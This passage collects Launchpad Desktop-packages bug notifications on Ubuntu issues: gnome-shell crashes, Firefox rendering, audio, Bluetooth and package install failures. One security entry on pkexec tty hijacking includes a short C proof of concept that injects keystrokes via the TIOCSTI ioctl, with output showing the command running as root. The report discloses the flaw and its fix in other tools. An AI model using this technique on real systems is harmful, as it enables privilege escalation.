7 07:42:48 2022 ErrorMessage: installed sane-utils package post-installation script subprocess returned error exit status 1 Python3Details: /usr/bin/python3.8, Python 3.8.10, python3-minimal, 3.8.2-0ubuntu2 PythonDetails: /usr/bin/python2.7, Python 2.7.18, python-is-python2, 2.7.17-4 RelatedPackageVersions: dpkg 1.19.7ubuntu3.2 apt 2.0.9 SourcePackage: sane-backends Title: package sane-utils 1.0.29-0ubuntu5.2 failed to install/upgrade: installed sane-utils package post-installation script subprocess returned error exit status 1 UpgradeStatus: Upgraded to focal on 2022-09-07 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1988991/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1959507] Re: gnome-shell crashed in clutter_actor_get_real_resource_scale() with assertion failed: (guessed_scale >= 1.f)
Consistently crashes on 22.10 when closing KeePass run under Mono. Steps to reproduce: 1. Download and extract KeePass 2.51.1 Portable: https://sourceforge.net/projects/keepass/files/KeePass%202.x/2.51.1/KeePass-2.51.1.zip/download 2. Install necessary packages: apt install mono-runtime apt install libmono-system-windows-forms4.0-cil apt install libcanberra-gtk-module 3. Run 'mono KeePass.exe' 4. After the application opens, exit it via File -> Exit or closing thw application window -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1959507 Title: gnome-shell crashed in clutter_actor_get_real_resource_scale() with assertion failed: (guessed_scale >= 1.f) Status in gnome-shell package in Ubuntu: Confirmed Bug description: Hi, I'm starting a VM Ubuntu 22.04 on QEMU/KVM and this alert appears. It seems to myself there is an issue between Wayland and spice-vdagent. Regards, Michel ProblemType: Crash DistroRelease: Ubuntu 22.04 Package: gnome-shell 41.3-1ubuntu1 ProcVersionSignature: Ubuntu 5.15.0-18.18-generic 5.15.12 Uname: Linux 5.15.0-18-generic x86_64 ApportVersion: 2.20.11-0ubuntu76 Architecture: amd64 CasperMD5CheckResult: pass CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Sat Jan 29 09:52:12 2022 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell InstallationDate: Installed on 2022-01-28 (1 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Alpha amd64 (20220126) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash RelatedPackageVersions: mutter-common 41.3-1ubuntu1 Signal: 6 SourcePackage: gnome-shell StacktraceTop: __pthread_kill_implementation (no_tid=0, signo=6, threadid=140083783699840) at pthread_kill.c:44 __pthread_kill_internal (signo=6, threadid=140083783699840) at pthread_kill.c:80 __GI___pthread_kill (threadid=140083783699840, signo=signo@entry=6) at pthread_kill.c:91 __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26 __GI_abort () at abort.c:79 Title: gnome-shell crashed with SIGABRT in __pthread_kill_implementation() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1959507/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988889] Re: Screen blank timeout not adjustable
*** This bug is a duplicate of bug 1988087 *** https://bugs.launchpad.net/bugs/1988087 That's not the correct way to tell whether the Power Mode has been changed. The GNOME Quick Settings feature in the top right of the screen has a complicated Power Mode switcher. The power mode button toggles between Balanced and whichever mode you selected last. Therefore, it needs to keep track of the last power mode selected that isn't Balanced. That's all that dconf/gsettings value is showing you. You can get your current power mode by running this command: powerprofilesctl get I'm going to close this bug since I believe the issues here are fixed. Please feel free to open a new bug if you have additional issues. ** This bug has been marked a duplicate of bug 1988087 GNOME Settings has two Screen Blank controls and only one of them works. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/199 Title: Screen blank timeout not adjustable Status in gnome-control-center package in Ubuntu: Incomplete Bug description: I tried to adjust screen blank timeout in Power tab, but after I go to another tab and come back, the value is the same, 5 min. The same behavior of changing the value back occurs for "Power Mode" and "Power Button Behavior". --- ProblemType: Bug ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 22.10 InstallationDate: Installed on 2021-11-26 (284 days ago) InstallationMedia: Ubuntu 21.10 "Impish Indri" - Release amd64 (20211012) NonfreeKernelModules: nvidia_modeset nvidia Package: gnome-control-center 1:43~rc-1ubuntu1 PackageArchitecture: amd64 RebootRequiredPkgs: Error: path contained symlinks. Tags: third-party-packages kinetic Uname: Linux 6.0.0-rc4 x86_64 UpgradeStatus: Upgraded to kinetic on 2022-06-14 (84 days ago) UserGroups: adm cdrom dip docker kvm libvirt lpadmin lxd plugdev sambashare sudo vboxusers _MarkForUpload: True modified.conffile..etc.default.apport: # set this to 0 to disable apport, or to 1 to enable it # you can temporarily override this with # sudo service apport start force_start=1 enabled=0 mtime.conffile..etc.default.apport: 2022-05-22T10:55:32.223191 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/199/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1971608] Re: Firefox PDF font rendering is often messed up
that's fixed in the gnome-3-38-2004 candidate snap now ** Changed in: firefox (Ubuntu) Status: Triaged => Fix Committed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to firefox in Ubuntu. https://bugs.launchpad.net/bugs/1971608 Title: Firefox PDF font rendering is often messed up Status in Mozilla Firefox: Confirmed Status in firefox package in Ubuntu: Fix Committed Bug description: I don't know whether it is an ubuntu bug or a firefox bug but since I am running the mozilla-supported ubuntu snap of firefox 99.0.1 (on 22.04 jammy) (firefox 100 not yet available on snap), posting it here. Many pdfs have messed-up fonts on this firefox. Following a reddit thread, I tried disabling browser.display.use_document_fonts in about:config. Then the pdfs render correctly, but html webpages have messed-up fonts. Reddit post with screenshots and sample URL here; previous reddit thread linked therein. https://www.reddit.com/r/firefox/comments/uhz6d1/continued_messedup_font_rendering_in_firefox_pdf/ Others (on this and previous thread) report it doesn't happen on other platforms. On this thread, someone confirms it on a Ubuntu VM, and someone else says it doesn't happen on Mint (based on Ubuntu but I think doesn't use snaps). To manage notifications about this bug go to: https://bugs.launchpad.net/firefox/+bug/1971608/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1535768] Re: pkexec tty hijacking via TIOCSTI ioctl
** Information type changed from Public to Public Security
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to policykit-1 in Ubuntu.
https://bugs.launchpad.net/bugs/1535768
Title:
pkexec tty hijacking via TIOCSTI ioctl
Status in policykit-1 package in Ubuntu:
New
Bug description:
When executing a program via "pkexec --user nonpriv program" the nonpriv
session can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid() and in
"sudo" by using the "use_pty" flag.
$ cat test.c
#include
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
}
$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)
# pkexec --user saken ./test > last command i type in
id
# id> did not type this
uid=0(root) gid=0(root) groups=0(root)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/policykit-1/+bug/1535768/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988644] Re: NetworkManager crashed with SIGABRT in g_assertion_message_expr()
Thank you for your bug report. Was that a one time issue or do you get the problem every time you toggle 'dark mode'? is that from the settings? ** Changed in: network-manager (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1988644 Title: NetworkManager crashed with SIGABRT in g_assertion_message_expr() Status in network-manager package in Ubuntu: Incomplete Bug description: occurred when toggle darkmode ProblemType: Crash DistroRelease: Ubuntu 22.10 Package: network-manager 1.39.90-1ubuntu3 ProcVersionSignature: Ubuntu 5.19.0-15.15-generic 5.19.0 Uname: Linux 5.19.0-15-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CrashCounter: 1 Date: Fri Sep 2 15:34:33 2022 ExecutablePath: /usr/sbin/NetworkManager InstallationDate: Installed on 2020-06-25 (799 days ago) InstallationMedia: IpRoute: default via 192.168.50.1 dev wlp0s20f3 proto dhcp src 192.168.50.165 metric 20600 169.254.0.0/16 dev wlp0s20f3 scope link metric 1000 192.168.50.0/24 dev wlp0s20f3 proto kernel scope link src 192.168.50.165 metric 600 JournalErrors: -- No entries -- NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=true ProcCmdline: /usr/sbin/NetworkManager --no-daemon RebootRequiredPkgs: Error: path contained symlinks. Signal: 6 SourcePackage: network-manager StacktraceTop: ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 g_assertion_message_expr () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 ?? () g_closure_invoke () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0 ?? () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0 Title: NetworkManager crashed with SIGABRT in g_assertion_message_expr() UpgradeStatus: Upgraded to kinetic on 2022-04-25 (131 days ago) UserGroups: N/A nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.39.90 connected started full enabled enabled enabled missing enabled separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1988644/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1987976]
Created attachment 9293002 CaptureBugzilla1788205_2.png -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to firefox in Ubuntu. https://bugs.launchpad.net/bugs/1987976 Title: firefox black window Status in Mozilla Firefox: New Status in firefox package in Ubuntu: New Bug description: nicolas@nicolas-fixe:~$ lsb_release -rd Description: Ubuntu 22.04.1 LTS Release: 22.04 nicolas@nicolas-fixe:~$ apt-cache policy firefox firefox: Installé : 1:1snap1-0ubuntu2 Candidat : 1:1snap1-0ubuntu2 Table de version : *** 1:1snap1-0ubuntu2 500 500 http://fr.archive.ubuntu.com/ubuntu jammy/main amd64 Packages 100 /var/lib/dpkg/status When I boot Ubuntu and start Firefox, the Firefox's window is totally black. See attachment. I am at your disposal to answer any question you have. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: firefox 1:1snap1-0ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-46.49-generic 5.15.39 Uname: Linux 5.15.0-46-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Sun Aug 28 12:42:29 2022 InstallationDate: Installed on 2022-08-25 (2 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash Snap.Changes: aucun changement trouvé SourcePackage: firefox UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/firefox/+bug/1987976/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1980937] Re: [HP EliteBook 840 G8 Notebook PC, Realtek ALC245, Speaker, Internal] No sound except loud crackling (popping) noise
The bug is now fixed in a recent update. Here is a list of updated packages, with the kernel ones the most relevant: Start-Date: 2022-09-01 11:54:38 Commandline: aptdaemon role='role-commit-packages' sender=':1.2252' Install: linux-image-5.15.0-47-generic:amd64 (5.15.0-47.51, automatic), linux-headers-5.15.0-47-generic:amd64 (5.15.0-47.51, automatic), linux-modules-5.15.0-47-generic:amd64 (5.15.0-47.51, automatic), linux-headers-5.15.0-47:amd64 (5.15.0-47.51, automatic), linux-modules-extra-5.15.0-47-generic:amd64 (5.15.0-47.51, automatic) Upgrade: linux-headers-generic:amd64 (5.15.0.46.46, 5.15.0.47.47), linux-generic:amd64 (5.15.0.46.46, 5.15.0.47.47), linux-image-generic:amd64 (5.15.0.46.46, 5.15.0.47.47), xdg-utils:amd64 (1.1.3-4.1ubuntu1.22.04.1, 1.1.3-4.1ubuntu3~22.04.1), ubuntu-advantage-tools:amd64 (27.9~22.04.1, 27.10.1~22.04.1), linux-libc-dev:amd64 (5.15.0-46.49, 5.15.0-47.51) End-Date: 2022-09-01 11:54:52 Start-Date: 2022-09-01 11:54:59 Commandline: aptdaemon role='role-commit-packages' sender=':1.2252' Remove: linux-image-5.15.0-43-generic:amd64 (5.15.0-43.46), linux-headers-5.15.0-43-generic:amd64 (5.15.0-43.46), linux-modules-5.15.0-43-generic:amd64 (5.15.0-43.46), linux-modules-extra-5.15.0-43-generic:amd64 (5.15.0-43.46), linux-headers-5.15.0-43:amd64 (5.15.0-43.46) End-Date: 2022-09-01 11:55:02 Start-Date: 2022-09-02 22:11:07 Commandline: aptdaemon role='role-commit-packages' sender=':1.109' Upgrade: libcurl4-openssl-dev:amd64 (7.81.0-1ubuntu1.3, 7.81.0-1ubuntu1.4), libcurl4:amd64 (7.81.0-1ubuntu1.3, 7.81.0-1ubuntu1.4), libcurl3-gnutls:amd64 (7.81.0-1ubuntu1.3, 7.81.0-1ubuntu1.4), libldap-common:amd64 (2.5.12+dfsg-0ubuntu0.22.04.1, 2.5.13+dfsg-0ubuntu0.22.04.1), libldap-2.5-0:amd64 (2.5.12+dfsg-0ubuntu0.22.04.1, 2.5.13+dfsg-0ubuntu0.22.04.1), curl:amd64 (7.81.0-1ubuntu1.3, 7.81.0-1ubuntu1.4), thermald:amd64 (2.4.9-1, 2.4.9-1ubuntu0.1) End-Date: 2022-09-02 22:11:11 Start-Date: 2022-09-06 10:36:54 Commandline: aptdaemon role='role-commit-packages' sender=':1.1607' Upgrade: tzdata:amd64 (2022a-0ubuntu1, 2022c-0ubuntu0.22.04.0), libgnome-desktop-3-19:amd64 (42.2-0ubuntu1, 42.4-0ubuntu1), gnome-desktop3-data:amd64 (42.2-0ubuntu1, 42.4-0ubuntu1) End-Date: 2022-09-06 10:36:55 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1980937 Title: [HP EliteBook 840 G8 Notebook PC, Realtek ALC245, Speaker, Internal] No sound except loud crackling (popping) noise Status in alsa-driver package in Ubuntu: Confirmed Bug description: New laptop with fresh installation of Xubuntu 22.04. Intel Tiger Lake- LP audio controller. When playing any audio, the internal speaker plays no sound except periodic loud crackling noise. The 3.5mm jack does not work either, producing the same craclking noise alongside some eletrical noise. HDMI audio skimmishly tested, but also gave no sound. Curiously, USB headphone (along with microphone) works perfectly, also the internal microphone. As attempts to fix the problem, I have tried the following separately, with no avail: - Installing some Ubuntu OEM version of the 5.17 kernel - Updating to the v2.2 firmware from Sound Open Firmware Project (thesofproject on github), reverted afterwards I found exactly the same problem reported in the Fedora community: https://forums.fedoraforum.org/showthread.php?328627-HP-Elitebook-840-G8-Tiger-Lake-audio-only-produces-popping-sound=1860086 As the pre-installed Windows has been destroyed, no further test on Windows has been done. Since USB headphone and internal microphone work, I think that there is no problem on the Intel Tiger Lake-LP controller and its driver. The bug probably lies elsewhere, like in the handling of ALC245 on this new laptop model. Thank you very much for your time and effort in advance. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: alsa-base 1.0.25+dfsg-0ubuntu7 ProcVersionSignature: Ubuntu 5.15.0-40.43-generic 5.15.35 Uname: Linux 5.15.0-40-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: fwjmath2810 F pulseaudio fwjmath 72467 F alsamixer CasperMD5CheckResult: pass CurrentDesktop: XFCE Date: Thu Jul 7 10:59:22 2022 InstallationDate: Installed on 2022-06-29 (7 days ago) InstallationMedia: Xubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:sofhdadsp failed Symptom_Card: Tiger Lake-LP Smart Sound Technology Audio Controller - sof-hda-dsp Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: fwjmath2810 F pulseaudio fwjmath 72467 F alsamixer
[Desktop-packages] [Bug 1987976]
That's a question for Ubuntu people, looks like the update is for Snap package while your second screenshot is the apt update status -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to firefox in Ubuntu. https://bugs.launchpad.net/bugs/1987976 Title: firefox black window Status in Mozilla Firefox: New Status in firefox package in Ubuntu: New Bug description: nicolas@nicolas-fixe:~$ lsb_release -rd Description: Ubuntu 22.04.1 LTS Release: 22.04 nicolas@nicolas-fixe:~$ apt-cache policy firefox firefox: Installé : 1:1snap1-0ubuntu2 Candidat : 1:1snap1-0ubuntu2 Table de version : *** 1:1snap1-0ubuntu2 500 500 http://fr.archive.ubuntu.com/ubuntu jammy/main amd64 Packages 100 /var/lib/dpkg/status When I boot Ubuntu and start Firefox, the Firefox's window is totally black. See attachment. I am at your disposal to answer any question you have. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: firefox 1:1snap1-0ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-46.49-generic 5.15.39 Uname: Linux 5.15.0-46-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Sun Aug 28 12:42:29 2022 InstallationDate: Installed on 2022-08-25 (2 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash Snap.Changes: aucun changement trouvé SourcePackage: firefox UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/firefox/+bug/1987976/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1987976]
Are there two different ways for updating??? Why the Firefox update does not appear in the update manager window, which is so far, for me, the only way to update my system?? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to firefox in Ubuntu. https://bugs.launchpad.net/bugs/1987976 Title: firefox black window Status in Mozilla Firefox: New Status in firefox package in Ubuntu: New Bug description: nicolas@nicolas-fixe:~$ lsb_release -rd Description: Ubuntu 22.04.1 LTS Release: 22.04 nicolas@nicolas-fixe:~$ apt-cache policy firefox firefox: Installé : 1:1snap1-0ubuntu2 Candidat : 1:1snap1-0ubuntu2 Table de version : *** 1:1snap1-0ubuntu2 500 500 http://fr.archive.ubuntu.com/ubuntu jammy/main amd64 Packages 100 /var/lib/dpkg/status When I boot Ubuntu and start Firefox, the Firefox's window is totally black. See attachment. I am at your disposal to answer any question you have. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: firefox 1:1snap1-0ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-46.49-generic 5.15.39 Uname: Linux 5.15.0-46-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Sun Aug 28 12:42:29 2022 InstallationDate: Installed on 2022-08-25 (2 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash Snap.Changes: aucun changement trouvé SourcePackage: firefox UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/firefox/+bug/1987976/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1987976]
Created attachment 9293001 CaptureBugzilla1788205_1.png On this screenshot CaptureBugzilla1788205_1.png of Ubuntu Software, I can see one update available: Firefox!!! How is that possible whereas my system is up to date as you can see on attachment CaptureBugzilla1788205_2.png -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to firefox in Ubuntu. https://bugs.launchpad.net/bugs/1987976 Title: firefox black window Status in Mozilla Firefox: New Status in firefox package in Ubuntu: New Bug description: nicolas@nicolas-fixe:~$ lsb_release -rd Description: Ubuntu 22.04.1 LTS Release: 22.04 nicolas@nicolas-fixe:~$ apt-cache policy firefox firefox: Installé : 1:1snap1-0ubuntu2 Candidat : 1:1snap1-0ubuntu2 Table de version : *** 1:1snap1-0ubuntu2 500 500 http://fr.archive.ubuntu.com/ubuntu jammy/main amd64 Packages 100 /var/lib/dpkg/status When I boot Ubuntu and start Firefox, the Firefox's window is totally black. See attachment. I am at your disposal to answer any question you have. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: firefox 1:1snap1-0ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-46.49-generic 5.15.39 Uname: Linux 5.15.0-46-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Sun Aug 28 12:42:29 2022 InstallationDate: Installed on 2022-08-25 (2 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash Snap.Changes: aucun changement trouvé SourcePackage: firefox UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/firefox/+bug/1987976/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1987976]
I've just found something which seems strange to me. I would like to show you screenshots but I cannot attach them... -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to firefox in Ubuntu. https://bugs.launchpad.net/bugs/1987976 Title: firefox black window Status in Mozilla Firefox: New Status in firefox package in Ubuntu: New Bug description: nicolas@nicolas-fixe:~$ lsb_release -rd Description: Ubuntu 22.04.1 LTS Release: 22.04 nicolas@nicolas-fixe:~$ apt-cache policy firefox firefox: Installé : 1:1snap1-0ubuntu2 Candidat : 1:1snap1-0ubuntu2 Table de version : *** 1:1snap1-0ubuntu2 500 500 http://fr.archive.ubuntu.com/ubuntu jammy/main amd64 Packages 100 /var/lib/dpkg/status When I boot Ubuntu and start Firefox, the Firefox's window is totally black. See attachment. I am at your disposal to answer any question you have. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: firefox 1:1snap1-0ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-46.49-generic 5.15.39 Uname: Linux 5.15.0-46-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Sun Aug 28 12:42:29 2022 InstallationDate: Installed on 2022-08-25 (2 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash Snap.Changes: aucun changement trouvé SourcePackage: firefox UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/firefox/+bug/1987976/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988422] Re: Bluetooth discoverability is not communicated to the user adequately in Settings
Correct, and a prompt should be shown when possible malicious files are sent, to let the user decide if he wants to receive it or not. It's surreal that you can send any file type with any content and it will automatically be sent to the download folder without user input, as long as the device is paired. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1988422 Title: Bluetooth discoverability is not communicated to the user adequately in Settings Status in gnome-control-center package in Ubuntu: Confirmed Bug description: When bluetooth is turned on ubuntu it is discoverable to all nearby devices. It's strange that any "dumb" bluetooth device offers the option to be turned on but not be discoverable, but gnome bluetooth manager doesn't offer such option. Any device can be paired with a device using the gnome desktop, as long as the user gets the prompt to pair. After that, gnome desktop can receive any file to the downloads folder. There should be an option to make the gnome desktop device not show up to other devices, and another one to restrict what files can be sent via BT to the downloads folder ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: libgnome-bluetooth13 3.34.5-8 ProcVersionSignature: Ubuntu 5.15.0-47.51-generic 5.15.46 Uname: Linux 5.15.0-47-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Thu Sep 1 12:12:16 2022 InstallationDate: Installed on 2022-08-31 (1 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) ProcEnviron: LANGUAGE=pt:pt_BR:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=pt_PT.UTF-8 SHELL=/bin/bash SourcePackage: gnome-bluetooth UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1988422/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988234] Re: Shell crash after leting file to be opened with gnome-text-editor
@seb128 Nothing related to gnome-shell at all -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1988234 Title: Shell crash after leting file to be opened with gnome-text-editor Status in gnome-shell package in Ubuntu: Incomplete Bug description: Steps 1. Open nautilus 2. Select text file and from right click context menu select the second option Open With... 3. Choose gnome-text-editor 4. Shell crashes to GDM If you perform steps for 1st time after reboot it will work and open the file succesfully, but any subsequent try will lead to the crash. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: nautilus 1:43~beta.1-2ubuntu3 Uname: Linux 5.19.5-xanmod1-x64v2 x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Wed Aug 31 03:46:07 2022 GsettingsChanges: b'org.gnome.nautilus.preferences' b'show-delete-permanently' b'true' b'org.gnome.nautilus.preferences' b'show-hidden-files' b'true' b'org.gnome.nautilus.preferences' b'show-image-thumbnails' b"'always'" b'org.gnome.nautilus.window-state' b'initial-size' b'(1114, 712)' InstallationDate: Installed on 2022-05-30 (92 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) SourcePackage: nautilus UpgradeStatus: Upgraded to kinetic on 2022-08-28 (2 days ago) usr_lib_nautilus: file-roller 43~alpha-1 nautilus-extension-gnome-terminal 3.45.90-1ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1988234/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988686] Re: Read failure Photo SD Memory Card in USB
